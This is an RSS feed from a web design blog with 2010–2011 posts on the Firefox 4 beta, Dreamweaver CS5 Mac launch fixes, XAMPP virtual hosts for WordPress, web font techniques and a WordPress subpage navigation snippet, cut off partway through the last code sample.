<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Modern Web Design Articles and Tutorials &#187; HTML</title>
	<atom:link href="http://www.dlocc.com/articles/category/html/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dlocc.com/articles</link>
	<description></description>
	<lastBuildDate>Tue, 29 Nov 2011 09:52:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Firefox 4: More Chrome-Like and Snazzier</title>
		<link>http://www.dlocc.com/articles/firefox-4-more-chrome-like-and-snazzier/</link>
		<comments>http://www.dlocc.com/articles/firefox-4-more-chrome-like-and-snazzier/#comments</comments>
		<pubDate>Thu, 06 Jan 2011 07:05:32 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[HTML]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=2303</guid>
		<description><![CDATA[For all of you who are using Firefox as your main browser, get ready for version 4.0 to be coming your way! I&#8217;ve recently upgraded to the Beta version and here&#8217;s some screenshots for you to enjoy! IMO, Firefox is better than Chrome. Feel free to voice you opinion in the comment boxes below. Why [...]]]></description>
			<content:encoded><![CDATA[<p>For all of you who are using Firefox as your main browser, get ready for version 4.0 to be coming your way!  I&#8217;ve recently upgraded to the Beta version and here&#8217;s some screenshots for you to enjoy!</p>
<p>IMO, Firefox is better than Chrome. Feel free to voice you opinion in the comment boxes below.  Why do I like it?  All the add-ons.  For example, I don&#8217;t think I could live now without Firebug.  I know Chrome has similar tools built-in, but I feel they aren&#8217;t as intuitive as Firebug.  What do you think?  </p>
<p>Firefox has definitely taken a page from the Chrome book with this latest release.  You can see the browser window now is minimized to give more emphasis on the website content you are actually browsing.  This is great, and I applaud them for &#8220;copying&#8221; Chrome on this UX enhancement.  Also, I noticed they moved the &#8220;Open in New Tab&#8221; as the first option when you right-click on a link rather than being the second.  This will take me some time to get used to, but again, a good move in the long run as it will save me .2 milliseconds when clicking now.  Thanks Firefox!</p>
<p><img src="http://www.dlocc.com/articles/wp-content/uploads/2011/01/firefox.png" alt="Firefox 4 Screenshot 1" title="firefox" class="alignnone size-medium wp-image-2304" /></p>
<p><img src="http://www.dlocc.com/articles/wp-content/uploads/2011/01/firefox-4-screenshot.png" alt="Firefox 4 Screenshot 2" title="firefox-4-screenshot" width="550" height="324" class="alignnone size-full wp-image-2305" /></p>
<h3>Want to Download the Beta?</h3>
<p>I hope you consider downloading the Beta version of Firefox 4: <a href="http://www.mozilla.com/en-US/firefox/beta/" title="Download Firefox 4 Beta">Download Firefox 4 Beta</a>.  You won&#8217;t regret it, Firefox is a great web browser for all users.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/firefox-4-more-chrome-like-and-snazzier/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe: Can&#8217;t launch Dreamweaver CS5 &#124; Mac OS Fix!</title>
		<link>http://www.dlocc.com/articles/adobe-cant-launch-dreamweaver-cs5-mac-os-fix/</link>
		<comments>http://www.dlocc.com/articles/adobe-cant-launch-dreamweaver-cs5-mac-os-fix/#comments</comments>
		<pubDate>Fri, 17 Dec 2010 21:28:43 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Dreamweaver]]></category>
		<category><![CDATA[Fix]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=2289</guid>
		<description><![CDATA[In my previous article on the site: Nothing happens when launching Dreamweaver CS5 on Mac I discussed my workaround to fix this problem. Basically, it was removing the Configuration folder from the hd/users/library/application support/adobe/dreamweaver cs5/en-US/ directory. This would allow you to start Dreamweaver again because it would create a new &#8220;configuration&#8221; folder. But the problem [...]]]></description>
			<content:encoded><![CDATA[<p>In my previous article on the site: <a href="http://www.dlocc.com/articles/nothing-happens-when-launching-dreamweaver-cs5-on-mac/" title="Nothing happens when launching Dreamweaver CS5 on Mac">Nothing happens when launching Dreamweaver CS5 on Mac</a> I discussed my workaround to fix this problem.  Basically, it was removing the Configuration folder from the  hd/users/library/application support/adobe/dreamweaver cs5/en-US/ directory.  This would allow you to start Dreamweaver again because it would create a new &#8220;configuration&#8221; folder.  But the problem was, Dreamweaver would eventually act up again and by the time a couple weeks rolls around you&#8217;ll have dont this process 4-5 time.  Thanksfully, Adobe has heard the communities&#8217; cries and they have released an update for Mac Dreamweaver users.</p>
<p><img src="http://www.dlocc.com/articles/wp-content/uploads/2010/12/adobe-dreamweaver-fix.png" alt="Adobe Dreamweaver CS5 Launch Fix" title="adobe-dreamweaver-fix" width="550" height="300" class="alignnone size-full wp-image-2290" /></p>
<p><span id="more-2289"></span></p>
<h2>Adobe to the Rescue (Better Late than Never, Right?)</h2>
<p>Sure this problem started at the initial release but hasn&#8217;t been addressed until now.  But it&#8217;s probably a small percentage of overall users.  I say this because there are several people where I work that use the same setup as I do and have not had the same problem.  Although, one did keep losing all his saved sites&#8230; which would be terrible to keep replacing if you have more than 10+ sites you continue work and do maintenance on.   Anyways: here&#8217;s the link to the download and article from Adobe.</p>
<ul>
<li><a href="http://kb2.adobe.com/cps/844/cpsid_84413.html" target="_blank" title="Check out the Adobe Article"><strong>Adobe Article</strong></a></li>
<li><a href="http://download.macromedia.com/pub/dreamweaver/updates/cs5/11_0_3/mac/AdobeDreamweaver-11.0-All-Update.dmg" title="Download the Adobe CS5 Mac Update"><strong>Adobe Dreamweaver CS5 Mac Update</strong></a></li>
</ul>
<p><br/></p>
<h3>How do I know this will fix my problem?</h3>
<p>Depending on your case, this update could drastically improve your Dreamweaver experience or do nothing at all.  If you are experiencing the DW menu appearing in your Mac menu bar, but other menus, such as File, Edit, and View, do not appear, this update will fix that.</p>
<h3>How do I update?</h3>
<p>Updating is easy.  Simply double-click on the .dmg file and this will in turn run the Adobe Dreamweaver updater.  You should see a window similar to the one below.  Once this process is complete, restart Dreamweaver and enjoy your application.</p>
<p><a href="http://www.dlocc.com/articles/wp-content/uploads/2010/12/adobe-update.png"><img src="http://www.dlocc.com/articles/wp-content/uploads/2010/12/adobe-update-300x213.png" alt="" title="adobe-update" width="300" height="213" class="alignnone size-medium wp-image-2291" /></a><br />
<a href="http://www.dlocc.com/articles/wp-content/uploads/2010/12/adobe-update-complete.png"><img src="http://www.dlocc.com/articles/wp-content/uploads/2010/12/adobe-update-complete-300x168.png" alt="" title="adobe-update-complete" width="300" height="168" class="alignnone size-medium wp-image-2295" /></a></p>
<h4>Please Note:  Updating my Dreamweaver Removed All of My Saved Server Passwords</h4>
<p>Make sure that you have your password list backed up.  I did not lose my server IP addresses or anything else, just the username and passwords.  I&#8217;m thinking Adobe must have added this as a security measure.   Please comment below if you have any questions about the Adobe update or if you experience anything you&#8217;d like to share.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/adobe-cant-launch-dreamweaver-cs5-mac-os-fix/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>No IE6, You Can’t Play!</title>
		<link>http://www.dlocc.com/articles/no-ie6-you-cant-play/</link>
		<comments>http://www.dlocc.com/articles/no-ie6-you-cant-play/#comments</comments>
		<pubDate>Wed, 01 Sep 2010 23:19:08 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[Graphic Design]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Site News]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=2262</guid>
		<description><![CDATA[More and more sites are blocking access from IE6 users, and I couldn&#8217;t back them anymore. Not only is IE6 a bad choice for security reasons, if you have done any web design work you also know what a pain it is to comply to. Simply state, it breaks our cool tools! Check out this [...]]]></description>
			<content:encoded><![CDATA[<p>More and more sites are blocking access from IE6 users, and I couldn&#8217;t back them anymore.  Not only is IE6 a bad choice for security reasons, if you have done any web design work you also know what a pain it is to comply to.  Simply state, it breaks our cool tools! Check out this hilarious poster by the guys over at <a href="http://www.robotjohnny.com">robotjohnny.com</a> for <a href="http://www.momentile.com">momentile.com</a>.</p>
<p><a href="http://www.dlocc.com/articles/wp-content/uploads/2010/09/die-ie-6.jpg"><img src="http://www.dlocc.com/articles/wp-content/uploads/2010/09/die-ie-6-300x210.jpg" alt="IE6 can&#039;t play in the treehouse with all the other browsers" title="die-ie-6" width="300" height="210" class="alignnone size-medium wp-image-2263" /></a><br />
<span id="more-2262"></span></p>
<h2>What&#8217;s this Comic About?</h2>
<p>Basically all the &#8216;modern&#8217; browsers are playing in the treehouse and poor IE6 is disgruntled that he cannot.  He is sporting a 5 o&#8217;clock shadow and looks a little mean.  Meanwhile, Firefox is pointing out that IE7 is indeed related to the banned browser.  My question is this: why is IE7 still allowed in the treehouse?  Or any IE for that matter.  Internet Explorer 8 doesn&#8217;t even allow us to do anything cool with CSS3 or HTML5.  Bottom line, die IE die!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/no-ie6-you-cant-play/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to Setup XAMPP WordPress Virtual Hosts</title>
		<link>http://www.dlocc.com/articles/how-to-setup-xampp-wordpress-virtual-hosts/</link>
		<comments>http://www.dlocc.com/articles/how-to-setup-xampp-wordpress-virtual-hosts/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 02:07:53 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Virtual Hosting]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[XAMPP]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=2216</guid>
		<description><![CDATA[I like to develop in a localized environment where I have to do minimal setup and configuration on the remote server when it's time to go live. Working with WordPress makes it very easy to do this and it's a breeze to setup with virtual hosts and the free XAMPP stack. Why do this? It [...]]]></description>
			<content:encoded><![CDATA[<p>I like to develop in a localized environment where I have to do minimal setup and configuration on the remote server when it's time to go live.  Working with WordPress makes it very easy to do this and it's a breeze to setup with virtual hosts and the free XAMPP stack.</p>

<p>Why do this?  It makes it very easy to move over the WordPress database when it's time to go live.  Developing locally is always in your best interest.  This method is preferred over 'going commando' because you can keep better control over your code and it's faster to develop.  Plus a whole slew of other reasons that you can Google if you feel like it.  Let's get started on setting up your WordPress install to use XAMPP's virtual hosting capabilities.</p> 
<img src="http://www.dlocc.com/articles/wp-content/uploads/2010/07/wordpress-apache-linux-mysql.jpg" alt="" title="wordpress-apache-linux-mysql" width="450" height="106" class="alignnone size-full wp-image-2226" />


<span id="more-2216"></span>

<p><strong>1.</strong> Open your <strong>Windows Hosts</strong> file by clicking on <strong><em>My Computer</em></strong> and navigating to "<strong>\Windows\system32\drivers\etc\</strong>"</p>

<img class="alignnone size-full wp-image-2217" title="system-files" src="http://www.dlocc.com/articles/wp-content/uploads/2010/07/system-files.jpg" alt="Windows Virtual Host Directory" width="541" height="232" />
<br  />

<p><strong>2.</strong> Add the following to the bottom of the hosts file by using your text editor of choice.  Notepad will work just fine.</p>

<p><strong>127.0.0.1    somesite.com<br />
127.0.0.1    www.somesite.com</strong></p>

<p>Note: Be sure to replace "somesite" with your actual WordPress website domain name</p>


<p><strong>3.</strong> Now navigate to your XAMPP <strong>httpd-vhosts.conf</strong> by navigating to: <strong>C:/XAMPP/apache/conf/extras</strong></p>

<img class="alignnone size-full wp-image-2219" title="http-vhosts" src="http://www.dlocc.com/articles/wp-content/uploads/2010/07/http-vhosts.jpg" alt="" width="550" height="415" />
<br  />

<p><strong>4</strong>. Uncomment the following line:</p>

<strong>NameVirtualHost *:80</strong>

<img class="alignnone size-full wp-image-2220" title="uncomment-line" src="http://www.dlocc.com/articles/wp-content/uploads/2010/07/uncomment-line.jpg" alt="Uncomment the following line in your XAMPP Virtual Hosts File" width="281" height="366" />
<br  />

<p><strong>5.</strong>Add the following at the bottom of the file and save the file before you close it:</p>


<pre class="brush: plain; title: ; notranslate">
&lt;VirtualHost *:80&gt;
DocumentRoot “E:/xampp/htdocs/”
ServerName localhost
ServerAlias localhost
&lt;/VirtualHost&gt;

&lt;VirtualHost *:80&gt;
DocumentRoot “E:/xampp/htdocs/somesite”
ServerName www.somesite.com
ServerAlias www.somesite.com
&lt;/VirtualHost&gt;

&lt;VirtualHost *:80&gt;
DocumentRoot “E:/xampp/htdocs/somesite”
ServerName somesite.com
ServerAlias somesite.com
&lt;/VirtualHost&gt;
</pre>

<br  />
<p><strong>Wait! One last thing...</strong> Now <strong>restart </strong> Apache and MySQL (using XAMMP) and you should be good to go when you navigate your browser to the url you specified for your WordPress installation using the tutorial above (once you restart the services).  If you have any comments or questions be sure to use the comment box below or the <a href="/contact/" title="Contact Devin Walker" >Contact DLOCC</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/how-to-setup-xampp-wordpress-virtual-hosts/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Nothing happens when launching Dreamweaver CS5 on Mac</title>
		<link>http://www.dlocc.com/articles/nothing-happens-when-launching-dreamweaver-cs5-on-mac/</link>
		<comments>http://www.dlocc.com/articles/nothing-happens-when-launching-dreamweaver-cs5-on-mac/#comments</comments>
		<pubDate>Thu, 03 Jun 2010 21:32:59 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Site News]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=2098</guid>
		<description><![CDATA[So I recently started using a Mac at work and with the Adobe Creative Suite 5 just released I was pretty excited. The new additions to CS5 are great and I can see that working with WordPress will be a lot more streamlined. Anyways, I ran into a frustrating issue that a lot of other [...]]]></description>
			<content:encoded><![CDATA[<p>So I recently started using a Mac at work and with the Adobe Creative Suite 5 just released I was pretty excited.  The new additions to CS5 are great and I can see that working with WordPress will be a lot more streamlined.  Anyways, I ran into a frustrating issue that a lot of other Mac/Dreamweaver CS5 users are encountering where launching the program results in a disabled dreamweaver. </p>
<span id="more-2098"></span>
<h3>Disabled Dreamweaver</h3>
<p>When you are experiencing this problem you will see that Dreamweaver launches but your menu is limited to only a few options:<br  /><a href="http://www.dlocc.com/articles/wp-content/uploads/2010/06/Screen-shot-2010-06-03-at-2.20.38-PM.png"><img src="http://www.dlocc.com/articles/wp-content/uploads/2010/06/Screen-shot-2010-06-03-at-2.20.38-PM.png" alt="" title="Screen shot 2010-06-03 at 2.20.38 PM" width="167" height="28" class="alignnone size-full wp-image-2099" /></a></p>

<h3>Here's how I fixed the problem:</h3>
<ol>
	<li>First quit Dreamweaver CS5 if you have in launched (or kinda launched)</li>
	<li>Open Finder and navigation to: Macintosh hd/users/<your username>/library/application support/adobe/dreamweaver cs5/en-US/</li>
	<li>Here you will find the folder "configuration" ...  Rename this folder to 'configurationOld' and restart Dreamweaver</li>
</ol>
<p>What this will do is force Dreamweaver to create that configuration folder again.  Please note: this may not fix it for you and this solution has not even been mentioned by Adobe.  Hope this helps you out!</p>
<p>Here's the link to the 'official' adobe KB article on their solution to fix Dreamweaver CS5's launching problem: <a href="http://kb2.adobe.com/cps/844/cpsid_84413.html#ionComHeading" title="Nothing happens when launching Adobe Dreamweaver CS5 on a Mac">Nothing happens when launching Adobe Dreamweaver CS5 on a Mac</a></p>
<p>Here's a <a href="http://forums.adobe.com/thread/628554?start=100&tstart=0" title="Useful thread on why nothing happens when launching Dreamweaver CS5 on a Mac">useful thread</a> at the Adobe Support Forums about this dreamweaver problem and possible solutions.</p>]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/nothing-happens-when-launching-dreamweaver-cs5-on-mac/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
		</item>
		<item>
		<title>Modern Web Font Options for Web Designers</title>
		<link>http://www.dlocc.com/articles/modern-web-font-options-for-web-designers/</link>
		<comments>http://www.dlocc.com/articles/modern-web-font-options-for-web-designers/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 02:18:59 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[Graphic Design]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[Cufon]]></category>
		<category><![CDATA[Google Font API]]></category>
		<category><![CDATA[sIFR]]></category>
		<category><![CDATA[typography]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=1963</guid>
		<description><![CDATA[Google's new Font API, Cufon, @font-face, sIFR, FLIR...?! It's 2010 and the Internet has long since evolved to become an integral part of modern society. As web designers, our web fonts used to be limited to a small number of 'safe' font-families. Today there are a number of options that allow web developers to break [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Google's new Font API, Cufon, @font-face, sIFR, FLIR...?! </strong> It's 2010 and the Internet has long since evolved to become an integral part of modern society.  As web designers, our <em>web fonts <strong>used to be limited</strong></em> to a small number of 'safe' font-families.  Today there are a number of options that allow web developers to break free from the confines of the limited 'web-safe' font spectrum and express themselves, and their websites, more individually with unique fonts.  Let's examine how the web's top font solutions work and how they are implemented.</p>
<span id="more-1963"></span>
<p>Let's start off by saying that the word(s) 'web safe/websafe' will hopefully one day become extinct.  That being said, there are many issues surrounding web fonts such as font licensing issues, browser compatibility and so on.  As well, it can be tricky to navigate the various solutions out there and to decide on the one that's right for you.  The aim of this article is to help you decide which solution is right and for you to be confident in that decision.  Let's dive right in to examine what the Internet has to offer web designers seeking an alternative to the normal CSS font-families.</p>
<h2>Google Font API / Google Font Directory</h2>
<p>We begin with Google's Font API since it's the newest and freshest web font solution out there.  This latest freebie from Google is like a free version of <a href="http://typekit.com" title="TypeKit">TypeKit</a> without the huge font selection.  I heard that they worked together on the project... who would turn down working with Google on a project?  Not TypeKit. 
<h3>Implementing Google Fonts</h3>
<p>To begin using the Google Font Directory all you have to do to use click here to go to <a title="Google Font Directory" href="http://code.google.com/webfonts"><strong>Google Font Directory</strong></a>, click on font you like from the list and copy-and-paste the appropriate code like this:</p>
<p><strong>For Lobster Font Family: </strong> Put this code in the this head of your website to get the font from Googleapis
<pre class="brush: plain; title: ; notranslate">
&lt;link href='http://fonts.googleapis.com/css?family=Lobster' rel='stylesheet' type='text/css'&gt;
</pre></p>
<p class="foo">It's a snap to use the Google Font API...</p>
<p>The Google Font API will do everything for you.  All you have to do is put the font family on a CSS selector like so:
<pre class="brush: css; title: ; notranslate">
.foo { font-family: 'Lobster', arial, serif; }
</pre></p>
<link href='http://fonts.googleapis.com/css?family=Lobster' rel='stylesheet' type='text/css'>
<style>.foo { font-family: 'Lobster', arial, serif; font-size: 26px; color:#666;}</style>
<p>As you can see this is catching the attention of many web designers out there, including me.  I've already started to use this on my website and I imagine that we'll be seeing this on a lot more WordPress blogs to begin with and eventually higher page-ranked sites.</p>
<h3>Similar to Google Font Directory</h3>
<p><a href="http://typekit.com"><strong>TypeKit</strong></a> and <a href="http://fontdeck.com/"><strong>FontDeck</strong></a> are similar font Libraries, but without the Google Font API. The CSS3 rule @font-face is very close to the same principle.</p>
<h3>Why You Should Use Google's Font API</h3>
<ol>
   	<li>Save the bandwidth on your site.  Visitors won't be downloading the font from your server.</li>
         <li>If the same font is used across multiple sites it will </li>
        <li>Google is fast, very fast</li>
</ol>
<h3>Why You Shouldn't Use Google's Font API</h3>
<ol>
<li>There's only around 20 fonts to choose from</li>
</ol>
<h2>Cufon</h2>
<p>Cufon is a font replacement solution that aims to be the alternative to sIFR.  Their is no Flash or plug-in involved here, only natively supported features. 
<h3>Implementing Cufon</h3>
<p>To use this solution select a font file that you'd like to use (.TTF, .OTF etc.) and head over to the <a href="http://cufon.shoqolate.com/generate/" title="Cufon Font Generator">Cufon Font Generator</a>.</p>

<p>Once you get to the font generator page complete all the mumbo jumbo on there, the form itself is a bit confusing to understand at first I must admit.  Assuming you filled out the font generator form properly it'll spit out a javascript file with the name of your font and some numbers (I believe this is your font weight).  Save these files and upload them to your web server. If you have trouble with the form there's a <a href="http://groups.google.com/group/cufon">Google Cufon group</a> you can check out for help.</p>

<p>Now it's time to replace the text you want using cufon.  Copy-and-paste the following into the head of your document but replace the script source to point to the location you uploaded the files the font generator generated.

<pre class="brush: plain; title: ; notranslate">
<script src='cufon-yui.js' type='text/javascript'></script>
	<script src='Vegur_300.font.js' type='text/javascript'></script>
	<script type='text/javascript'>
		Cufon.replace('h1');
</script>
</pre>

What this code is doing is replacing the H1 text on your website.  as you can see through the JavaScript function.  You can use multiple fonts and styles on your site, which is cool but also trickier to implement and in my experience more unreliable cross-browser. </p>

<p>Cufon does have it's use on the Internet, but it's more of a niche than poised to overtake any of the upcoming font library solutions.  It does allow you to use any font you wish as long as it's in the common formats, but this also opens the door for lawsuits for businesses and organizations.  Cufon is cool though, impress your friends and use it on one of your next projects.</p>

<p><strong>Here's a good video that demonstrates implement cufon:</strong><br  /><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/uPQ4TlXatVU&hl=en_US&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/uPQ4TlXatVU&hl=en_US&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></p>

<p><strong>Example of markup rendered using Cufon:</strong>

<pre class="brush: plain; title: ; notranslate">
&lt;span style=&quot;width: 68px; height: 18px;&quot; class=&quot;cufon cufon-canvas&quot;&gt;&lt;canvas style=&quot;width: 83px; height: 19px; top: 0px; left: -1px;&quot; height=&quot;19&quot; width=&quot;83&quot;&gt;&lt;/canvas&gt;&lt;span class=&quot;cufon-alt&quot;&gt;Browse &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;width: 28px; height: 18px;&quot; class=&quot;cufon cufon-canvas&quot;&gt;&lt;canvas style=&quot;width: 43px; height: 19px; top: 0px; left: -1px;&quot; height=&quot;19&quot; width=&quot;43&quot;&gt;&lt;/canvas&gt;&lt;span class=&quot;cufon-alt&quot;&gt;by &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;width: 84px; height: 18px;&quot; class=&quot;cufon cufon-canvas&quot;&gt;&lt;canvas style=&quot;width: 93px; height: 19px; top: 0px; left: -1px;&quot; height=&quot;19&quot; width=&quot;93&quot;&gt;&lt;/canvas&gt;&lt;span class=&quot;cufon-alt&quot;&gt;Category&lt;/span&gt;&lt;/span&gt;
</pre>

All this to only say "Browse by Category"? You'd definitely only want to use this for headings. </p>
<h3>Why You Should Use Cufon</h3>
<ol>
<li>Use and font you want (not sure how legal this is...)</li>
<li>Supported by all major browsers</li>
<li>Support an open source solution</li>
</ol>
<h3>Why You Shouldn't Use Cufon</h3>
<ol>
<li>The text is not selectable</li>
<li>The font variations show up differently cross-browser</li>
<li>It makes your markup looks all crazy with a bunch of spans and inline styles</li>
<li>Not as simple to implement</li>
<li>Cannot use for body text</li>
</ol>
<h2>@font-face</h2>
<p>@font-face is a CSS3 rule that allows you to host fonts on your server and have them rendered via your website if the site visitor does not already have that font installed on their computer.  Currently, browser that support the rule are Safari, Firefox, and Google Chrome.  IE kinda supports it.  So what's the problem? Font licenses... basically money.  Many font artists don't want to see their fonts used without bring them in some money, which is completely understandable.</p>
<h3>Implementing font-face</h3>
<p>Using @font-face is nearly as easy as using the Google Font Library except you have to host the font file on your web server. To use the web font you wish you will need to declare each font family using the @font-face CSS3 rule.  For example, you would put the following in your stylesheet:</p>

<pre class="brush: css; title: ; notranslate">
@font-face {
	font-family: Delicious;
	src: url('Delicious-Roman.otf');
}

@font-face {
	font-family: Delicious;
	font-weight: bold;
	src: url('Delicious-Bold.otf');
}
</pre>

<p>Then use the font-family via CSS on your chosen elements:</p>

<pre class="brush: css; title: ; notranslate">
h3 { font-family: Delicious, sans-serif; }
</pre>

<h3>Why You Should Use @font-face</h3>
<ol>
<li>Cutting-edge CSS</li>
<li>Use any font you wish</li>
<li>Easy to implement</li>
<li>Selectable Text</li>
</ol>
<h3>Why You Shouldn't Use @font-face</h3>
<ol>
<li>Not fully cross-browser compliant</li>
<li>Font licensing issues</li>
</ol>
<h2>sIFR</h2>
<p>sIFR is a is a web font solution that replaces your text elements with Flash equivalents. I've never implemented or had a need to use sIFR personally, but I have done work on a few websites that had this solution already in the works.  I believe this solution will be used less frequently in the future since there seems to be a movement away from Flash.  Despite this, the solution is still widely used; here's brief overview of how to implement sIFR:</p>
<h3>Implementing sIFR</h3>
<p>To begin, make sure you have Adobe Flash.  You will need to modify the sifr.fla file and there's no way to do this other than Flash.  You can download a trial from Adobe if you don't have it that is good for 30-days.  Also, you should have the font files you wish to use as web fonts.  Ok, have this all?  Let's look at a brief overview of what you will be doing:</p>
<ol>
	<li><a href="http://dev.novemberborn.net/sifr3/nightlies/" title="sIFR download link">Download</a> the latest sIFR files</li>
	<li>Set up the Flash file for the desired typeface</li>
	<li>Upload the necessary files</li>
	<li>replace the desired text with the 'sIFR' text</li>
	<li>styling the new text</li>
</ol>
<p>Obviously this is a very brief overview.  Here's a <a href="http://v4.designintellection.com/this-is-how-you-get-sifr-to-work/" title="This is how to get sIFR to work">good tutorial</a> that will walk you through implementing sIFR that is more in depth than my brief rundown.</p>
<h3>Why You Should Use sIFR</h3>
<ol>
<li>Selectable Text</li>
<li>Use any font you want</li>
</ol>
<h3>Why You Shouldn't Use sIFR</h3>
<ol>
<li>Flash elements throughout your site</li>
<li>Font licensing issues</li>
<li>Not as light-weight</li>
<li>Not as easy to implement</li>
<li>Need Flash to implement</li>
</ol>
<h2>FLIR</h2>
<p>FLIR (<strong>Facelift Image Replacement</strong>) is a font solution billed as the alternative to sIFR, but I would compare it more to Cufon.  This means no flash at all.  FLIR works with JavaScript, PHP and CSS to create a unique web font solution.</p>
<h3>Implementing FLIR</h3>
<p>To get FLIR up-and-running on your website you will have to do a bit of file configuration and the uploading files to your web server.  Not too bad, but still not as snip snap as some of the previous solutions.  Let's look at the overview:</p>
<ol>
<li><a href="http://facelift.mawhorter.net/download/" title="Download FLIR">Download</a> the FLIR files</li>
<li>Configure the config-flir.php file to define the fonts</li>
<li>Add to the website by uploading the files and calling the path in you website header</li>
<li>Style the tags via the special <strong>FLIR.replace();</strong> CSS attribute</li>
</ol>
<p>For more FLIR implementation information check out: <a title="FLIR" href="http://css-tricks.com/video-screencasts/54-introduction-to-flir/">Introduction to FLIR</a> and <a title="How to use any font you wish with FLIR" href="http://net.tutsplus.com/tutorials/php/how-to-use-any-font-you-wish-with-flir/">How to Use Any Font You Wish With FLIR</a>.</p>
<h3>Why You Should Use FLIR</h3>
<ol>
<li>Easier than sIFR to implement</li>
<li>Use any font you wish</li>
</ol>
<h3>Why You Shouldn't Use FLIR</h3>
<ol>
<li>Non-selectable text</li>
<li>'Unclean' markup similar to Cufon</li>
<li>Right-click reveals the text is an image</li>
</ol>
<h2>Final Thoughts</h2>
<p>After exploring a few of the popular web font solutions in use today I feel confident that the web will eventually move the way of web fonts for mostly headings and other similar elements.  For actual content text it should be best practice to use a readable font-family that is native to all browser.  This limits your problems and allows your users to view your site's content much more easily. </p>  
<p>If you are having trouble implementing any of the above solution please feel free to leave a comment below or shoot me an email.  Also, don't forget to become a fan of DLOCC on Facebook or liking this article!  Thanks for all the support and have a good time making the web more typographically beautiful!</p>]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/modern-web-font-options-for-web-designers/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>WordPress List Subpages Even if On Subpage</title>
		<link>http://www.dlocc.com/articles/wordpress-list-subpages-even-if-on-subpage/</link>
		<comments>http://www.dlocc.com/articles/wordpress-list-subpages-even-if-on-subpage/#comments</comments>
		<pubDate>Tue, 25 May 2010 17:49:59 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=2076</guid>
		<description><![CDATA[I'm building a new site and the navigation on it requires me to use a different bit of code for parent and child pages. I thought I'd share the code for those out there building a similar navigation. Here's a handy bit of code that you can use to display all subpages on a subpage. [...]]]></description>
			<content:encoded><![CDATA[<p>I'm building a new site and the navigation on it requires me to use a different bit of code for parent and child pages.  I thought I'd share the code for those out there building a similar navigation.  Here's a handy bit of code that you can use to display all subpages on a subpage.  For instance, you have your pages setup like so:</p>

<p>Page: Fruit<br  />
subpage: Banana<br  />
subpage: Apply<br  />
subpage: Orange</p>

<h3>On Parent Page</h3>
<p>If you were wanting to show a navigation menu of all subpages in the Fruit category you could use the following bit of code:</p>

<pre class="brush: php; title: ; notranslate">
&lt;?php
  $children = wp_list_pages('title_li=&amp;child_of='.$post-&gt;ID.'&amp;echo=0');
  if ($children) { ?&gt;
  &lt;ul id=&quot;mainNav&quot;&gt;
	&lt;div id=&quot;locationsNavHead&quot;&gt;choose a product&lt;/div&gt;
  &lt;?php echo $children; ?&gt;
  &lt;/ul&gt;
